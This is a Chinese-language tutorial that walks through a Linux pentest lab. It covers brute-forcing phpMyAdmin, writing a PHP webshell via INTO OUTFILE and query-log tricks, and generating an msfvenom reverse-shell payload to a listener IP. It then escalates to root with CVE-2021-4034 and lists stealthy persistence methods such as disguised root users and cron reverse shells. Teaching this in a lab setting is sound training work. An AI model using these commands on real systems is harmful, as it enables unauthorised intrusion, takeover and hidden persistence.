口水話
前段時(shí)間打了兩個(gè)靶場(chǎng) 由于內(nèi)網(wǎng)接觸的不多 這里在結(jié)束之后惡補(bǔ)了一下相關(guān)方面的知識(shí),對(duì)于初涉內(nèi)網(wǎng)的小白來(lái)說(shuō),可以作為一個(gè)較好的參考。由于本文主要介紹提權(quán)方面,所以代碼審計(jì)部分就略過(guò),希望大家看了會(huì)有所收獲
靶場(chǎng)環(huán)境
搭建用的系統(tǒng):ubuntu 16.04 內(nèi)核4.15.0 web環(huán)境 php+mysql+thinkphp
流程
首先開(kāi)啟靶場(chǎng) 在攻擊機(jī)正常訪問(wèn)靶場(chǎng)地址
這里提一下 因?yàn)橐话氵@種老版本的thinkphp都是二開(kāi)的 所以那些Nday很少能夠成功復(fù)現(xiàn) 而且這就是一個(gè)html靜態(tài)頁(yè)面 所以看完后面的小伙伴不要奇怪為什么不對(duì)thinkphp做Nday測(cè)試 但是這里有彩蛋
webshell上傳過(guò)程
先來(lái)一波信息收集
實(shí)際情況肯定是要對(duì)該站點(diǎn)的子域名 cms 其他ip等等做收集 由于這里是靶場(chǎng)操作 這里就簡(jiǎn)單進(jìn)行一個(gè)目錄掃描
通過(guò)目錄掃描可以得出 存在phpmyadmin管理界面的登錄界面 這種后臺(tái)嘛 直接bp爆破
BP爆破后臺(tái)登錄口令
沒(méi)啥說(shuō)的啦 開(kāi)BP代理直接跑
成功進(jìn)入phpmyadmin管理頁(yè)面 ps:這里提一下 當(dāng)成功進(jìn)入管理頁(yè)面 需要去做什么呢? 查看secure_file_priv是否為NULL 或者為指定路徑 (當(dāng)為NULL的時(shí)候 說(shuō)明沒(méi)有讀寫的權(quán)限 也就是你可能沒(méi)法通過(guò)into outfile的方式來(lái)寫入webshell文件 ) 查看mysql的版本 路徑等
查看mysql的相關(guān)信息
secure_file_priv信息
之前提到的 當(dāng)secure_file_priv為NULL或者指定路徑是 是對(duì)其他目錄沒(méi)有讀寫權(quán)限的 那么這里為空 也就是說(shuō) 可以對(duì)任意目錄寫入文件(前提是這個(gè)目錄的所用者對(duì)其他目錄有讀寫權(quán)限)
mysql寫webshell拓展
幾個(gè)必要的前提條件 1.secure_file_priv不為NULL或者指定路徑 2.phpmyadmin所在目錄的擁有者對(duì)其他目錄有讀寫權(quán)限 3.全局gpc關(guān)閉 (mysql-5.3.29以上默認(rèn)關(guān)閉) 4.root權(quán)限(這里指的是登錄數(shù)據(jù)庫(kù)的用戶) 5.知道具體路徑(通過(guò)信息收集獲取,上文有提到靜態(tài)頁(yè)面存在菜單 這里可以回去看看) into outfile()方式: 查詢執(zhí)行語(yǔ)句SELECT '' into OUTFILE '/home/wwwroot/default/ruchong.php' 該語(yǔ)句的作用就是寫入一句話到網(wǎng)站根目錄下 詳情自己百度 日志方式 日志方式的寫入有兩種 全局日志以及慢日志 不過(guò)具體用法差不多 實(shí)現(xiàn)的原理是 當(dāng)你開(kāi)啟日志記錄是 你所查詢的語(yǔ)句都會(huì)全部被記錄在指定的一個(gè)文件中 那假如你指定的是一個(gè)php文件并且你查詢的語(yǔ)句為一句話木馬呢? 全局日志: 首先查詢是否開(kāi)啟了全局日志記錄 show variables like '%general%'; 查看是否開(kāi)啟 set global general_log = on; #未開(kāi)啟就手動(dòng)開(kāi)啟general log 模式 set global general_log_file = 'web可訪問(wèn)目錄' #設(shè)置日志目錄為shell地址 SELECT '' #執(zhí)行查詢 即寫入到日志文件 慢日志: #查詢慢日志狀態(tài) show variables like '%slow_query_log%'; #查詢mysql系統(tǒng)時(shí)間 show global variables like '%long_query_time%'; #根據(jù)時(shí)間 設(shè)置超時(shí) select '' or sleep(11); 設(shè)置查詢時(shí)間為11s
mysql寫入webshell
這里通過(guò)into outfile的方式寫入 日志記錄也可以
切換到靶機(jī)查看是否生成了該文件
小技巧ps: 最好是先生成一個(gè)php探針頁(yè)面 為什么呢? 因?yàn)樘结橅?yè)面可以詳細(xì)的看到當(dāng)前的web環(huán)境的一些相關(guān)配置 (禁用函數(shù)情況、是否開(kāi)啟php日志、session和php日志目錄等等)
連接webshell
這里先進(jìn)行一些相關(guān)的拓展 在不存在函數(shù)禁用的情況下:一般使用菜刀等就可以了 后續(xù)上傳大馬等等 存在函數(shù)禁用的情況:優(yōu)先考慮使用蟻劍 (可以使用disable_function繞過(guò)腳本)
打開(kāi)虛擬終端 測(cè)試命令
這里為什么會(huì)無(wú)法查詢呢? 因?yàn)檫@是一個(gè)虛擬終端 本質(zhì)是通過(guò)命令執(zhí)行來(lái)調(diào)用主機(jī)的終端來(lái)執(zhí)行命令 從而回顯數(shù)據(jù) 但是由于相關(guān)函數(shù)被禁用 所以很多命令都無(wú)法執(zhí)行 也就是說(shuō) 這個(gè)虛擬終端等于廢掉 那么 這個(gè)時(shí)候蟻劍的插件就派上用場(chǎng)了 可以通過(guò)繞過(guò)來(lái)執(zhí)行少數(shù)的一些命令 從而給我們提供更多的操作空間 擴(kuò)大我們的攻擊范圍 ps:蟻劍的插件需要掛ti子來(lái)下載 有興趣的自己百度
連接webshell后需要做什么
那肯定是上傳webshell 通過(guò)反彈來(lái)拓展攻擊面呀??! 但是前面提到了 插件繞過(guò)也只是能夠使用少數(shù)命令 本質(zhì)還是虛擬終端 所以很多都無(wú)法調(diào)用 這個(gè)時(shí)候 就需要反彈一個(gè)shell來(lái)進(jìn)行更多的操作 所以 懂得都懂叭
提權(quán)過(guò)程
內(nèi)核提權(quán)
msfconsole登場(chǎng)
說(shuō)到反彈shell 那肯定是msf啦 可以聯(lián)動(dòng)cs/bp等 ps:這里是同一網(wǎng)段的靶場(chǎng)環(huán)境 所以不需要vps來(lái)做中轉(zhuǎn)(真實(shí)環(huán)境是需要用到vps的 后面有空了再寫橫向穿越,端口轉(zhuǎn)發(fā)以及隧道等內(nèi)容)
生成牧馬(保命)
由于是linux系統(tǒng) 這里就生成相應(yīng)的牧馬啦 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to -f elf > ruchong.elf 方便理解我這里直接寫了接收反彈的ip以及端口
小技巧 不同虛擬機(jī)傳文件需要從當(dāng)前虛擬機(jī)復(fù)制到物理機(jī)再?gòu)?fù)制到執(zhí)行虛擬機(jī) 是不是很麻煩? 使用python開(kāi)啟一個(gè)臨時(shí)共享當(dāng)前目錄 就可以直接下載啦 命令:python3 -m http.server
執(zhí)行牧馬反彈shell啦
運(yùn)行之前 msf開(kāi)啟對(duì)應(yīng)payload ip以及端口的監(jiān)聽(tīng) payload ip 端口 都要與生成的木馬使用的一致 最后的命令run或者exploit開(kāi)啟監(jiān)聽(tīng)啦
蟻劍上傳該牧馬 chmod +777 牧馬 #給權(quán)限運(yùn)行啦 ./牧馬 #運(yùn)行牧馬
msf成功收到反彈
內(nèi)核提權(quán)準(zhǔn)備工作
既然是內(nèi)核提權(quán) 當(dāng)然要知道內(nèi)核信息啦 使用命令uname -a查看當(dāng)前的系統(tǒng)版本以及內(nèi)核信息
內(nèi)核腳本的選擇
知道了內(nèi)核版本后 有多種選擇內(nèi)核的方式 這里簡(jiǎn)單的列舉幾個(gè)
利用某網(wǎng)站來(lái)收集可使用的內(nèi)核提權(quán)腳本
https://www.exploit-db.com/
利用kali自帶搜索相應(yīng)內(nèi)核提權(quán)腳本
搜索命令 searchsploit 版本號(hào)/內(nèi)核號(hào) 下載腳本 searchsploit -m fath
利用相關(guān)插件收集提權(quán)腳本
該腳本自行上github搜索 ./linux-exploit-suggester.sh -k 4.15.0 執(zhí)行腳本 -k 指定的內(nèi)核版本
msf本地提權(quán)
run post/multi/recon/local_exploit_suggester 這個(gè)是自動(dòng)檢測(cè)可能成功的內(nèi)核提權(quán)腳本并且逐個(gè)嘗試 由于需要大概半個(gè)小時(shí) 所以就沒(méi)有操作 有興趣的可以自行嘗試
內(nèi)核提權(quán)!??!
前面說(shuō)了那么多 終于到關(guān)鍵的一步了 先說(shuō)說(shuō)為什么提權(quán)要提權(quán): 1.某些命令需要高權(quán)限用戶才可執(zhí)行 2.低權(quán)限用戶對(duì)于大多數(shù)敏感目錄沒(méi)有讀取權(quán)限 3.無(wú)法dump密碼 不存在密碼噴灑 這里利用cve-2021-4034來(lái)進(jìn)行提權(quán) github可以搜索下載 使用蟻劍上傳 下面po一下改提權(quán)腳本 如何使用
在msf執(zhí)行紅框命令
可以看到 成功提權(quán)到root權(quán)限 root權(quán)限能干嘛 不用多說(shuō)了吧 下面簡(jiǎn)單說(shuō)一下權(quán)限維持的幾個(gè)方式
權(quán)限維持
1.創(chuàng)建一個(gè)用戶 并且權(quán)限為root 用戶名可以偽造成系統(tǒng)用戶名 比如說(shuō)mysqld等等 2.開(kāi)啟ssh登錄 并且生成root的ssh認(rèn)證密鑰對(duì) 將其保存本地 后滲透直接使用ssh登錄 3.添加計(jì)劃任務(wù) 即周期性的使用root身份反彈shell 4.使用不死馬或者內(nèi)存馬 5.設(shè)置啟動(dòng)項(xiàng)
其他提權(quán)方式
后面有時(shí)間我會(huì)單獨(dú)寫提權(quán)方式、不同平臺(tái)提權(quán)、內(nèi)網(wǎng)橫向移動(dòng)所使用的端口轉(zhuǎn)發(fā)、sock隧道建立的文章 這里大概提一下linux系統(tǒng)提權(quán)的其他方式 1.suid提權(quán) #使用find查找root用戶的suid文件 通過(guò)運(yùn)行該類文件獲取root權(quán)限 2.sudo提權(quán) #個(gè)人覺(jué)得有點(diǎn)雞肋 畢竟一般來(lái)說(shuō) webshell登錄的用戶權(quán)限是無(wú)法操作sudoers文件 3.計(jì)劃任務(wù)提權(quán) #查看計(jì)劃任務(wù)中有root權(quán)限的腳本 通過(guò)運(yùn)行該腳本獲取root權(quán)限 4.mysql提權(quán) #本次靶場(chǎng)是可以使用mysql提權(quán)的 百度cve-2016-6663了解
總結(jié)
對(duì)于內(nèi)核提權(quán)就寫到這啦 整體看下來(lái)應(yīng)該都會(huì)有一個(gè)比較清楚的認(rèn)知吧 不懂的話多看幾遍 相對(duì)來(lái)說(shuō)是寫的比較詳細(xì)的了。 關(guān)于內(nèi)網(wǎng)還有很多需要學(xué)習(xí)的知識(shí) 像提權(quán)后的權(quán)限維持、橫向移動(dòng)、后滲透、痕跡清理、不同平臺(tái)的不同方式提權(quán)、以及進(jìn)階的域滲透。后期有空了會(huì)更新有關(guān)內(nèi)容的文章。學(xué)海無(wú)涯,希望大家每天都能學(xué)到新知識(shí)提升自己,學(xué)到的東西可不要做非法的事哈?。。?!
-
代碼
+關(guān)注
關(guān)注
30文章
4900瀏覽量
70671 -
內(nèi)網(wǎng)
+關(guān)注
關(guān)注
0文章
51瀏覽量
9151 -
phpMyAdmin
+關(guān)注
關(guān)注
0文章
5瀏覽量
6013
原文標(biāo)題:初涉內(nèi)網(wǎng),提權(quán)那些事(小白適用)
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
如何使用環(huán)境變量進(jìn)行Linux提權(quán)的方法詳細(xì)資料概述

初涉altium designer遇到了一個(gè)麻煩,大神幫幫忙啊,先謝過(guò)!
內(nèi)網(wǎng)穿透詳解-基于NATAPP&NatAssist測(cè)試
香港云服務(wù)器寶塔windows面板提權(quán)獲取系統(tǒng)管理員權(quán)限
搭建自己的IOT平臺(tái)---內(nèi)網(wǎng)穿透
Linux內(nèi)核提權(quán)攻擊研究

內(nèi)網(wǎng)滲透:獲取Windows內(nèi)Hash密碼的方法
OLED面板企業(yè)維信諾控制權(quán)或易主
多種繞過(guò)WAF方式獲取穩(wěn)定shell、內(nèi)部信息收集和提權(quán)
一款數(shù)據(jù)庫(kù)自動(dòng)化提權(quán)工具

內(nèi)網(wǎng)穿透frp原理簡(jiǎn)述

評(píng)論